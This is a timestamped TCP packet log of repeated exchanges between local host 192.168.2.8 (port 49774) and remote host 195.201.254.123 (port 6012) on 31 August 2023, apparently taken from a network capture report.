Aug 31, 2023 16:50:49.727740049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727771044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727785110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727830887 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727833033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727890015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727891922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.727950096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.727960110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728007078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728019953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728053093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728076935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728092909 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728121996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728133917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728152037 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728173971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728203058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728215933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728228092 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728257895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728281975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728297949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728323936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728339911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728360891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728379965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728401899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728420973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728445053 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728461981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728481054 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728502989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728526115 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728542089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728554010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728595018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728606939 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728652000 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728660107 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728696108 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728718042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728738070 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728763103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728779078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728804111 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728820086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728833914 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728862047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728889942 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728902102 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728926897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728943110 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.728971004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.728985071 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729006052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729038000 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729054928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729093075 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729111910 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729136944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729171991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729176998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729192972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729217052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729242086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729259014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729284048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729300976 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729321003 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729342937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729373932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729384899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729403973 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729425907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729448080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729466915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729516029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729547024 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729556084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729588985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729598045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729621887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729640007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729655027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729681969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729698896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729742050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729743004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729788065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729814053 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729825974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729845047 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729865074 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729887962 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729904890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729921103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729943037 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729964972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.729984045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.729995966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730025053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730041981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730067015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730087042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730106115 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730124950 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730154991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730161905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730210066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730218887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730256081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730272055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730297089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730313063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730338097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730351925 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730377913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730395079 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730418921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730443001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730460882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.730473042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.730520010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.739917994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.740025997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755400896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755448103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755501032 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755520105 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755546093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755589008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755589962 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755589008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755623102 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755624056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755656958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755666971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755688906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755690098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755721092 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755724907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755748034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755778074 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755808115 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755810976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755841017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755855083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755877018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755877018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755911112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755911112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755947113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.755948067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755970001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.755978107 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756011009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756011009 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756050110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756061077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756092072 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756113052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756135941 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756145000 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756165981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756177902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756203890 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756212950 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756231070 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756249905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756277084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756283045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756299973 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756315947 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756323099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756350040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756366014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756385088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756424904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756468058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756470919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756505013 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756515026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756542921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756548882 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756572008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756589890 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756602049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756612062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756629944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756649971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756658077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756685972 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756692886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756692886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756715059 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756721973 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756742001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756742001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756768942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756776094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756797075 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756803989 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756825924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756830931 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756854057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756858110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756880045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756881952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756911039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756917000 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756937027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756953955 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756966114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756978035 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.756994963 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.756999969 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757024050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757029057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757050991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757051945 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757087946 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757087946 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757121086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757126093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757153988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757159948 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757189035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757189989 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757216930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757221937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757246971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757251978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757277012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757277966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757306099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757320881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757334948 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757345915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757363081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757376909 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757391930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757400990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757421017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757426977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757451057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757453918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757478952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757486105 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757508993 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757509947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757539034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757544041 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757566929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757569075 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757597923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757601023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757627010 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757635117 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757656097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757658005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757685900 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757688046 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757715940 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757719040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757746935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757750034 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757777929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757781982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757807016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757810116 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757836103 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757839918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757865906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757868052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757895947 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757903099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757925034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757927895 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757953882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757960081 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.757985115 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.757986069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758013964 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758023024 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758044958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758049965 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758071899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758078098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758112907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758115053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758141994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758153915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758176088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758188963 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758218050 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758219957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758249044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758250952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758279085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758280993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758307934 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758311033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758337021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758344889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758368969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758368015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758398056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758399010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758428097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758435011 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758456945 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758459091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758488894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758497953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.758517027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.758562088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.761241913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.761306047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.761332989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.761359930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.761388063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.761387110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.761430979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.761445045 CEST	49774	6012	192.168.2.8	195.201.254.123
